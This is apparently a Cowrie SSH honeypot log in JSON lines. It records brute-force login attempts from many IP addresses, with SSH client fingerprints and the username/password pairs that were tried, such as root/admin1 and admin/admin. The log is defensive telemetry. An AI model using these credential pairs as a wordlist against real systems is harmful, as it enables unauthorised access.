{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:21.389090Z","src_ip":"178.128.39.166","session":"d0e03399756b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:21.489455Z","src_ip":"178.128.39.166","session":"d0e03399756b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:22.321942Z","src_ip":"178.128.39.166","session":"d0e03399756b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:23.396777Z","src_ip":"178.128.39.166","session":"d0e03399756b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":39138,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5aa90261a6d","protocol":"ssh","message":"New connection: 154.16.115.34:39138 (10.17.0.5:22) [session: c5aa90261a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:25.724901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:25.728765Z","src_ip":"154.16.115.34","session":"c5aa90261a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:25.754601Z","src_ip":"154.16.115.34","session":"c5aa90261a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"balancer789","message":"login attempt [root/balancer789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:25.895625Z","src_ip":"154.16.115.34","session":"c5aa90261a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:26.926705Z","src_ip":"154.16.115.34","session":"c5aa90261a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:39.445972Z","src_ip":"125.20.210.182","session":"c6bb83eefee9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:41.449862Z","src_ip":"125.20.210.182","session":"c6bb83eefee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.1","message":"Connection lost after 48.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.334950Z","src_ip":"125.20.210.182","session":"c6bb83eefee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":34568,"dst_ip":"10.17.0.5","dst_port":22,"session":"6574d212c784","protocol":"ssh","message":"New connection: 130.12.180.51:34568 (10.17.0.5:22) [session: 6574d212c784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.514868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.519100Z","src_ip":"130.12.180.51","session":"6574d212c784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":51524,"dst_ip":"159.203.135.109","dst_port":22,"session":"679bd6911ff1","protocol":"ssh","message":"New connection: 103.27.238.116:51524 (159.203.135.109:22) [session: 679bd6911ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.543887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.547513Z","src_ip":"103.27.238.116","session":"679bd6911ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.600899Z","src_ip":"130.12.180.51","session":"6574d212c784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.806126Z","src_ip":"103.27.238.116","session":"679bd6911ff1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:42.848013Z","src_ip":"130.12.180.51","session":"6574d212c784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:43.380484Z","src_ip":"130.12.180.51","session":"6574d212c784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elisabeth","message":"login attempt [root/elisabeth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:43.587046Z","src_ip":"103.27.238.116","session":"679bd6911ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":34908,"dst_ip":"159.203.135.109","dst_port":22,"session":"d74293f56ea7","protocol":"ssh","message":"New connection: 132.148.155.138:34908 (159.203.135.109:22) [session: d74293f56ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:44.096358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:44.100032Z","src_ip":"132.148.155.138","session":"d74293f56ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:44.164321Z","src_ip":"132.148.155.138","session":"d74293f56ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"georgia","password":"Tbilisi#Ethereum@S3cur3","message":"login attempt [georgia/Tbilisi#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:44.362225Z","src_ip":"132.148.155.138","session":"d74293f56ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:44.848773Z","src_ip":"103.27.238.116","session":"679bd6911ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:45.431900Z","src_ip":"132.148.155.138","session":"d74293f56ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60010,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ba409e23ae","protocol":"ssh","message":"New connection: 103.27.238.120:60010 (10.17.0.5:22) [session: 71ba409e23ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:54.590684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:54.600179Z","src_ip":"103.27.238.120","session":"71ba409e23ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:54.868247Z","src_ip":"103.27.238.120","session":"71ba409e23ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface21","message":"login attempt [root/warface21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:55.674634Z","src_ip":"103.27.238.120","session":"71ba409e23ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:56.945661Z","src_ip":"103.27.238.120","session":"71ba409e23ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":50798,"dst_ip":"10.17.0.5","dst_port":22,"session":"3705cb0c39e7","protocol":"ssh","message":"New connection: 91.92.40.176:50798 (10.17.0.5:22) [session: 3705cb0c39e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:06:37.907688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:06:37.911340Z","src_ip":"91.92.40.176","session":"3705cb0c39e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:06:37.992455Z","src_ip":"91.92.40.176","session":"3705cb0c39e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"password","message":"login attempt [nginx/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:06:38.262628Z","src_ip":"91.92.40.176","session":"3705cb0c39e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:06:39.346451Z","src_ip":"91.92.40.176","session":"3705cb0c39e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.14","src_port":33328,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f0eefd028a0","protocol":"ssh","message":"New connection: 92.118.39.14:33328 (159.203.135.109:22) [session: 0f0eefd028a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:03.743382Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:03.848853Z","src_ip":"92.118.39.14","session":"0f0eefd028a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55018,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9d282f23d1","protocol":"ssh","message":"New connection: 103.149.28.157:55018 (159.203.135.109:22) [session: 8c9d282f23d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:16.580456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:07:16.584378Z","src_ip":"103.149.28.157","session":"8c9d282f23d1","protocol":"ssh"}
